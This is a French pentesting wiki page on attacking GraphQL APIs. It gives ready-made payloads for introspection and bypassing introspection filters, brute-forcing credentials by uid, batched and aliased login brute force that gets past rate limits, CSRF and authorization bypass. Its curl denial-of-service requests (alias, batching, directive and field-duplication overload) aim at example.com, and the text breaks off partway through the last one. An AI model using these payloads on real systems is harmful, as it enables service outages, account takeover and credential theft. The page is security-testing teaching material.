GraphQL

Reading time: 30 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Introduction

GraphQL est soulignĂ© comme une alternative efficace Ă  l'API REST, offrant une approche simplifiĂ©e pour interroger des donnĂ©es depuis le backend. Contrairement Ă  REST, qui nĂ©cessite souvent de nombreuses requĂȘtes Ă  travers divers points de terminaison pour rassembler des donnĂ©es, GraphQL permet de rĂ©cupĂ©rer toutes les informations nĂ©cessaires via une unique requĂȘte. Cette rationalisation bĂ©nĂ©ficie considĂ©rablement aux dĂ©veloppeurs en rĂ©duisant la complexitĂ© de leurs processus de rĂ©cupĂ©ration de donnĂ©es.

GraphQL et Sécurité

Avec l'avĂšnement de nouvelles technologies, y compris GraphQL, de nouvelles vulnĂ©rabilitĂ©s de sĂ©curitĂ© Ă©mergent Ă©galement. Un point clĂ© Ă  noter est que GraphQL n'inclut pas de mĂ©canismes d'authentification par dĂ©faut. Il incombe aux dĂ©veloppeurs de mettre en Ɠuvre de telles mesures de sĂ©curitĂ©. Sans une authentification appropriĂ©e, les points de terminaison GraphQL peuvent exposer des informations sensibles Ă  des utilisateurs non authentifiĂ©s, posant un risque de sĂ©curitĂ© significatif.

Attaques par Brute Force de RĂ©pertoire et GraphQL

Pour identifier les instances GraphQL exposées, il est recommandé d'inclure des chemins spécifiques dans les attaques par brute force de répertoire. Ces chemins sont :

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Identifier les instances GraphQL ouvertes permet d'examiner les requĂȘtes prises en charge. Cela est crucial pour comprendre les donnĂ©es accessibles via le point de terminaison. Le systĂšme d'introspection de GraphQL facilite cela en dĂ©taillant les requĂȘtes qu'un schĂ©ma prend en charge. Pour plus d'informations Ă  ce sujet, consultez la documentation GraphQL sur l'introspection : GraphQL : Un langage de requĂȘte pour les APIs.

Empreinte

L'outil graphw00f est capable de détecter quel moteur GraphQL est utilisé sur un serveur et imprime ensuite des informations utiles pour l'auditeur de sécurité.

RequĂȘtes Universelles

Pour vĂ©rifier si une URL est un service GraphQL, une requĂȘte universelle, query{__typename}, peut ĂȘtre envoyĂ©e. Si la rĂ©ponse inclut {"data": {"__typename": "Query"}}, cela confirme que l'URL hĂ©berge un point de terminaison GraphQL. Cette mĂ©thode repose sur le champ __typename de GraphQL, qui rĂ©vĂšle le type de l'objet interrogĂ©.

javascript
query{__typename}

ÉnumĂ©ration de base

Graphql prend généralement en charge GET, POST (x-www-form-urlencoded) et POST(json). Bien qu'il soit recommandé pour des raisons de sécurité de n'autoriser que json pour prévenir les attaques CSRF.

Introspection

Pour utiliser l'introspection afin de dĂ©couvrir des informations sur le schĂ©ma, interrogez le champ __schema. Ce champ est disponible sur le type racine de toutes les requĂȘtes.

bash
query={__schema{types{name,fields{name}}}}

Avec cette requĂȘte, vous trouverez le nom de tous les types utilisĂ©s :

bash
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

Avec cette requĂȘte, vous pouvez extraire tous les types, leurs champs et leurs arguments (et le type des arguments). Cela sera trĂšs utile pour savoir comment interroger la base de donnĂ©es.

Erreurs

Il est intĂ©ressant de savoir si les erreurs vont ĂȘtre affichĂ©es car elles contribueront avec des informations utiles.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

ÉnumĂ©rer le schĂ©ma de la base de donnĂ©es via l'introspection

note

Si l'introspection est activĂ©e mais que la requĂȘte ci-dessus ne s'exĂ©cute pas, essayez de supprimer les directives onOperation, onFragment et onField de la structure de la requĂȘte.

bash
#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

RequĂȘte d'introspection en ligne :

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

La derniĂšre ligne de code est une requĂȘte graphql qui va extraire toutes les mĂ©ta-informations du graphql (noms des objets, paramĂštres, types...)

Si l'introspection est activée, vous pouvez utiliser GraphQL Voyager pour voir dans une interface graphique toutes les options.

Interrogation

Maintenant que nous savons quel type d'information est enregistré dans la base de données, essayons d'extraire quelques valeurs.

Dans l'introspection, vous pouvez trouver quel objet vous pouvez interroger directement (car vous ne pouvez pas interroger un objet juste parce qu'il existe). Dans l'image suivante, vous pouvez voir que le "queryType" s'appelle "Query" et qu'un des champs de l'objet "Query" est "flags", qui est également un type d'objet. Par conséquent, vous pouvez interroger l'objet flag.

Notez que le type de la requĂȘte "flags" est "Flags", et cet objet est dĂ©fini comme ci-dessous :

Vous pouvez voir que les objets "Flags" sont composĂ©s de name et value. Ensuite, vous pouvez obtenir tous les noms et valeurs des flags avec la requĂȘte :

javascript
query={flags{name, value}}

Notez que si l'objet Ă  interroger est un type primitif comme string, comme dans l'exemple suivant

Vous pouvez simplement l'interroger avec :

javascript
query = { hiddenFlags }

Dans un autre exemple oĂč il y avait 2 objets Ă  l'intĂ©rieur de l'objet de type "Query": "user" et "users".
Si ces objets n'ont pas besoin d'argument pour rechercher, vous pourriez récupérer toutes les informations les concernant juste en demandant les données que vous voulez. Dans cet exemple d'Internet, vous pourriez extraire les noms d'utilisateur et mots de passe sauvegardés :

Cependant, dans cet exemple, si vous essayez de le faire, vous obtenez cette erreur :

On dirait que d'une maniĂšre ou d'une autre, il va rechercher en utilisant l'argument "uid" de type Int.
Quoi qu'il en soit, nous le savions dĂ©jĂ , dans la section Basic Enumeration, une requĂȘte a Ă©tĂ© proposĂ©e qui nous montrait toutes les informations nĂ©cessaires : query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Si vous lisez l'image fournie lorsque j'exĂ©cute cette requĂȘte, vous verrez que "user" avait l'arg "uid" de type Int.

Ainsi, en effectuant un léger uid bruteforce, j'ai découvert qu'avec uid=1 un nom d'utilisateur et un mot de passe ont été récupérés :
query={user(uid:1){user,password}}

Notez que j'ai découvert que je pouvais demander les paramÚtres "user" et "password" parce que si j'essaie de chercher quelque chose qui n'existe pas (query={user(uid:1){noExists}}), j'obtiens cette erreur :

Et pendant la phase d'énumération, j'ai découvert que l'objet "dbuser" avait comme champs "user" et "password.

Truc de dump de chaĂźne de requĂȘte (merci Ă  @BinaryShadow_)

Si vous pouvez rechercher par un type de chaßne, comme : query={theusers(description: ""){username,password}} et que vous cherchez une chaßne vide, cela va dump toutes les données. (Notez que cet exemple n'est pas lié à l'exemple des tutoriels, pour cet exemple, supposez que vous pouvez rechercher en utilisant "theusers" par un champ de chaßne appelé "description").

Recherche

Dans cette configuration, une base de donnĂ©es contient des personnes et des films. Les personnes sont identifiĂ©es par leur email et nom ; les films par leur nom et note. Les personnes peuvent ĂȘtre amies entre elles et avoir Ă©galement des films, indiquant des relations au sein de la base de donnĂ©es.

Vous pouvez chercher des personnes par le nom et obtenir leurs emails :

javascript
{
searchPerson(name: "John Doe") {
email
}
}

Vous pouvez chercher des personnes par le nom et obtenir leurs films abonnés :

javascript
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Notez comment il est indiqué de récupérer le name des subscribedMovies de la personne.

Vous pouvez Ă©galement rechercher plusieurs objets en mĂȘme temps. Dans ce cas, une recherche de 2 films est effectuĂ©e :

javascript
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Ou mĂȘme relations de plusieurs objets diffĂ©rents en utilisant des alias :

javascript
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutations

Les mutations sont utilisées pour apporter des modifications cÎté serveur.

Dans l'introspection, vous pouvez trouver les mutations déclarées. Dans l'image suivante, le "MutationType" est appelé "Mutation" et l'objet "Mutation" contient les noms des mutations (comme "addPerson" dans ce cas) :

Dans cette configuration, une base de donnĂ©es contient des personnes et des films. Les personnes sont identifiĂ©es par leur email et nom ; les films par leur nom et note. Les personnes peuvent ĂȘtre amies entre elles et avoir Ă©galement des films, indiquant des relations au sein de la base de donnĂ©es.

Une mutation pour créer de nouveaux films dans la base de données peut ressembler à la suivante (dans cet exemple, la mutation est appelée addMovie) :

javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Notez comment Ă  la fois les valeurs et le type de donnĂ©es sont indiquĂ©s dans la requĂȘte.

De plus, la base de données prend en charge une opération de mutation, nommée addPerson, qui permet la création de personnes ainsi que leurs associations avec des amis et des films existants. Il est crucial de noter que les amis et les films doivent préexister dans la base de données avant de les lier à la personne nouvellement créée.

javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Surcharge de directive

Comme expliquĂ© dans l'une des vulnĂ©rabilitĂ©s dĂ©crites dans ce rapport, une surcharge de directive implique d'appeler une directive mĂȘme des millions de fois pour faire perdre des opĂ©rations au serveur jusqu'Ă  ce qu'il soit possible de le DoS.

Batching brute-force dans 1 requĂȘte API

Cette information a été tirée de https://lab.wallarm.com/graphql-batching-attack/.
Authentification via l'API GraphQL avec l'envoi simultanĂ© de nombreuses requĂȘtes avec diffĂ©rentes identifiants pour le vĂ©rifier. C'est une attaque par force brute classique, mais il est maintenant possible d'envoyer plus d'une paire login/mot de passe par requĂȘte HTTP grĂące Ă  la fonctionnalitĂ© de batching de GraphQL. Cette approche tromperait les applications externes de surveillance de taux en leur faisant croire que tout va bien et qu'il n'y a pas de bot de force brute essayant de deviner des mots de passe.

Vous pouvez trouver ci-dessous la dĂ©monstration la plus simple d'une requĂȘte d'authentification d'application, avec 3 paires email/mot de passe diffĂ©rentes Ă  la fois. Évidemment, il est possible d'en envoyer des milliers dans une seule requĂȘte de la mĂȘme maniĂšre :

Comme nous pouvons le voir sur la capture d'Ă©cran de la rĂ©ponse, les premiĂšre et troisiĂšme requĂȘtes ont renvoyĂ© null et ont reflĂ©tĂ© les informations correspondantes dans la section error. La deuxiĂšme mutation avait les donnĂ©es d'authentification correctes et la rĂ©ponse contient le bon jeton de session d'authentification.

GraphQL Sans Introspection

De plus en plus de points de terminaison graphql dĂ©sactivent l'introspection. Cependant, les erreurs que graphql renvoie lorsqu'une requĂȘte inattendue est reçue sont suffisantes pour que des outils comme clairvoyance puissent recrĂ©er la plupart du schĂ©ma.

De plus, l'extension Burp Suite GraphQuail observe les requĂȘtes API GraphQL passant par Burp et construit un schĂ©ma GraphQL interne avec chaque nouvelle requĂȘte qu'il voit. Elle peut Ă©galement exposer le schĂ©ma pour GraphiQL et Voyager. L'extension renvoie une rĂ©ponse factice lorsqu'elle reçoit une requĂȘte d'introspection. En consĂ©quence, GraphQuail montre toutes les requĂȘtes, arguments et champs disponibles pour une utilisation au sein de l'API. Pour plus d'infos vĂ©rifiez ceci.

Une belle liste de mots pour dĂ©couvrir les entitĂ©s GraphQL peut ĂȘtre trouvĂ©e ici.

Contournement des défenses d'introspection GraphQL

Pour contourner les restrictions sur les requĂȘtes d'introspection dans les API, l'insertion d'un caractĂšre spĂ©cial aprĂšs le mot-clĂ© __schema s'avĂšre efficace. Cette mĂ©thode exploite les erreurs courantes des dĂ©veloppeurs dans les motifs regex qui visent Ă  bloquer l'introspection en se concentrant sur le mot-clĂ© __schema. En ajoutant des caractĂšres comme espaces, nouvelles lignes et virgules, que GraphQL ignore mais qui pourraient ne pas ĂȘtre pris en compte dans le regex, les restrictions peuvent ĂȘtre contournĂ©es. Par exemple, une requĂȘte d'introspection avec une nouvelle ligne aprĂšs __schema peut contourner de telles dĂ©fenses :

bash
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Si cela Ă©choue, envisagez des mĂ©thodes de requĂȘte alternatives, telles que GET requests ou POST avec x-www-form-urlencoded, car des restrictions peuvent ne s'appliquer qu'aux requĂȘtes POST.

Essayez WebSockets

Comme mentionné dans cette conférence, vérifiez s'il est possible de se connecter à graphQL via WebSockets, car cela pourrait vous permettre de contourner un éventuel WAF et de faire en sorte que la communication WebSocket divulgue le schéma de graphQL :

javascript
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}

var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}

Découverte des structures GraphQL exposées

Lorsque l'introspection est dĂ©sactivĂ©e, examiner le code source du site Web Ă  la recherche de requĂȘtes prĂ©chargĂ©es dans les bibliothĂšques JavaScript est une stratĂ©gie utile. Ces requĂȘtes peuvent ĂȘtre trouvĂ©es en utilisant l'onglet Sources dans les outils de dĂ©veloppement, fournissant des informations sur le schĂ©ma de l'API et rĂ©vĂ©lant potentiellement des requĂȘtes sensibles exposĂ©es. Les commandes pour rechercher dans les outils de dĂ©veloppement sont :

javascript
Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF dans GraphQL

Si vous ne savez pas ce qu'est le CSRF, lisez la page suivante :

CSRF (Cross Site Request Forgery)

Là-bas, vous pourrez trouver plusieurs points de terminaison GraphQL configurés sans jetons CSRF.

Notez que les requĂȘtes GraphQL sont gĂ©nĂ©ralement envoyĂ©es via des requĂȘtes POST utilisant le type de contenu application/json.

javascript
{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Cependant, la plupart des points de terminaison GraphQL prennent Ă©galement en charge les form-urlencoded POST requests :

javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Par consĂ©quent, comme les requĂȘtes CSRF comme celles prĂ©cĂ©dentes sont envoyĂ©es sans requĂȘtes prĂ©alables, il est possible de faire des modifications dans le GraphQL en abusant d'un CSRF.

Cependant, notez que la nouvelle valeur par dĂ©faut du cookie du drapeau samesite de Chrome est Lax. Cela signifie que le cookie ne sera envoyĂ© que depuis un site tiers dans les requĂȘtes GET.

Notez qu'il est gĂ©nĂ©ralement possible d'envoyer la requĂȘte query Ă©galement en tant que requĂȘte GET et que le token CSRF pourrait ne pas ĂȘtre validĂ© dans une requĂȘte GET.

De plus, en abusant d'une attaque XS-Search, il pourrait ĂȘtre possible d'exfiltrer du contenu depuis le point de terminaison GraphQL en abusant des identifiants de l'utilisateur.

Pour plus d'informations, vérifiez le post original ici.

DĂ©tournement de WebSocket intersite dans GraphQL

Semblable aux vulnérabilités CRSF abusant de GraphQL, il est également possible de réaliser un détournement de WebSocket intersite pour abuser d'une authentification avec GraphQL avec des cookies non protégés et faire en sorte qu'un utilisateur effectue des actions inattendues dans GraphQL.

Pour plus d'informations, consultez :

WebSocket Attacks

Autorisation dans GraphQL

De nombreuses fonctions GraphQL définies sur le point de terminaison pourraient uniquement vérifier l'authentification du demandeur mais pas l'autorisation.

Modifier les variables d'entrĂ©e de la requĂȘte pourrait conduire Ă  des dĂ©tails de compte sensibles fuitĂ©s.

La mutation pourrait mĂȘme conduire Ă  une prise de contrĂŽle de compte en essayant de modifier d'autres donnĂ©es de compte.

javascript
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Contournement de l'autorisation dans GraphQL

Chaining queries ensemble peut contourner un systĂšme d'authentification faible.

Dans l'exemple ci-dessous, vous pouvez voir que l'opĂ©ration est "forgotPassword" et qu'elle ne devrait exĂ©cuter que la requĂȘte forgotPassword qui lui est associĂ©e. Cela peut ĂȘtre contournĂ© en ajoutant une requĂȘte Ă  la fin, dans ce cas nous ajoutons "register" et une variable utilisateur pour que le systĂšme s'enregistre en tant que nouvel utilisateur.

Contournement des limites de taux en utilisant des alias dans GraphQL

Dans GraphQL, les alias sont une fonctionnalitĂ© puissante qui permet le nommage explicite des propriĂ©tĂ©s lors d'une requĂȘte API. Cette capacitĂ© est particuliĂšrement utile pour rĂ©cupĂ©rer plusieurs instances du mĂȘme type d'objet dans une seule requĂȘte. Les alias peuvent ĂȘtre utilisĂ©s pour surmonter la limitation qui empĂȘche les objets GraphQL d'avoir plusieurs propriĂ©tĂ©s avec le mĂȘme nom.

Pour une compréhension détaillée des alias GraphQL, la ressource suivante est recommandée : Aliases.

Bien que le but principal des alias soit de rĂ©duire la nĂ©cessitĂ© de nombreux appels API, un cas d'utilisation non intentionnel a Ă©tĂ© identifiĂ© oĂč les alias peuvent ĂȘtre exploitĂ©s pour exĂ©cuter des attaques par force brute sur un point de terminaison GraphQL. Cela est possible car certains points de terminaison sont protĂ©gĂ©s par des limiteurs de taux conçus pour contrer les attaques par force brute en restreignant le nombre de requĂȘtes HTTP. Cependant, ces limiteurs de taux pourraient ne pas tenir compte du nombre d'opĂ©rations dans chaque requĂȘte. Étant donnĂ© que les alias permettent l'inclusion de plusieurs requĂȘtes dans une seule requĂȘte HTTP, ils peuvent contourner de telles mesures de limitation de taux.

ConsidĂ©rez l'exemple fourni ci-dessous, qui illustre comment des requĂȘtes aliasĂ©es peuvent ĂȘtre utilisĂ©es pour vĂ©rifier la validitĂ© des codes de rĂ©duction en magasin. Cette mĂ©thode pourrait contourner la limitation de taux puisqu'elle compile plusieurs requĂȘtes en une seule requĂȘte HTTP, permettant potentiellement la vĂ©rification de plusieurs codes de rĂ©duction simultanĂ©ment.

bash
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

DoS dans GraphQL

Surcharge d'Aliases

Surcharge d'Aliases est une vulnĂ©rabilitĂ© GraphQL oĂč les attaquants surchargent une requĂȘte avec de nombreux alias pour le mĂȘme champ, ce qui amĂšne le rĂ©solveur backend Ă  exĂ©cuter ce champ de maniĂšre rĂ©pĂ©tĂ©e. Cela peut submerger les ressources du serveur, entraĂźnant un Denial of Service (DoS). Par exemple, dans la requĂȘte ci-dessous, le mĂȘme champ (expensiveField) est demandĂ© 1 000 fois en utilisant des alias, forçant le backend Ă  le calculer 1 000 fois, ce qui peut Ă©puiser le CPU ou la mĂ©moire :

graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'

Pour attĂ©nuer cela, mettez en Ɠuvre des limites de compte d'alias, une analyse de la complexitĂ© des requĂȘtes ou une limitation de dĂ©bit pour prĂ©venir l'abus de ressources.

Batching de RequĂȘtes BasĂ© sur des Tableaux

Le Batching de RequĂȘtes BasĂ© sur des Tableaux est une vulnĂ©rabilitĂ© oĂč une API GraphQL permet de regrouper plusieurs requĂȘtes dans une seule demande, permettant Ă  un attaquant d'envoyer un grand nombre de requĂȘtes simultanĂ©ment. Cela peut submerger le backend en exĂ©cutant toutes les requĂȘtes groupĂ©es en parallĂšle, consommant des ressources excessives (CPU, mĂ©moire, connexions Ă  la base de donnĂ©es) et pouvant potentiellement conduire Ă  un Denial of Service (DoS). S'il n'existe aucune limite sur le nombre de requĂȘtes dans un lot, un attaquant peut exploiter cela pour dĂ©grader la disponibilitĂ© du service.

graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'

Dans cet exemple, 10 requĂȘtes diffĂ©rentes sont regroupĂ©es en une seule demande, forçant le serveur Ă  les exĂ©cuter toutes simultanĂ©ment. Si exploitĂ© avec une taille de lot plus grande ou des requĂȘtes coĂ»teuses en calcul, cela peut surcharger le serveur.

Vulnérabilité de Surcharge de Directive

Surcharge de Directive se produit lorsqu'un serveur GraphQL permet des requĂȘtes avec des directives excessives et dupliquĂ©es. Cela peut submerger le parseur et l'exĂ©cuteur du serveur, surtout si le serveur traite de maniĂšre rĂ©pĂ©tĂ©e la mĂȘme logique de directive. Sans validation ou limites appropriĂ©es, un attaquant peut exploiter cela en crĂ©ant une requĂȘte avec de nombreuses directives dupliquĂ©es pour dĂ©clencher une utilisation Ă©levĂ©e des ressources de calcul ou de mĂ©moire, entraĂźnant une DĂ©ni de Service (DoS).

bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'

Notez que dans l'exemple prĂ©cĂ©dent, @aa est une directive personnalisĂ©e qui pourrait ne pas ĂȘtre dĂ©clarĂ©e. Une directive courante qui existe gĂ©nĂ©ralement est @include :

bash
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'

Vous pouvez Ă©galement envoyer une requĂȘte d'introspection pour dĂ©couvrir toutes les directives dĂ©clarĂ©es :

bash
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'

Et ensuite utilisez certains des personnalisés.

Vulnérabilité de Duplication de Champ

Duplication de Champ est une vulnĂ©rabilitĂ© oĂč un serveur GraphQL permet des requĂȘtes avec le mĂȘme champ rĂ©pĂ©tĂ© de maniĂšre excessive. Cela oblige le serveur Ă  rĂ©soudre le champ de maniĂšre redondante pour chaque instance, consommant des ressources significatives (CPU, mĂ©moire et appels de base de donnĂ©es). Un attaquant peut crĂ©er des requĂȘtes avec des centaines ou des milliers de champs rĂ©pĂ©tĂ©s, provoquant une charge Ă©levĂ©e et pouvant potentiellement conduire Ă  un Denial of Service (DoS).

bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 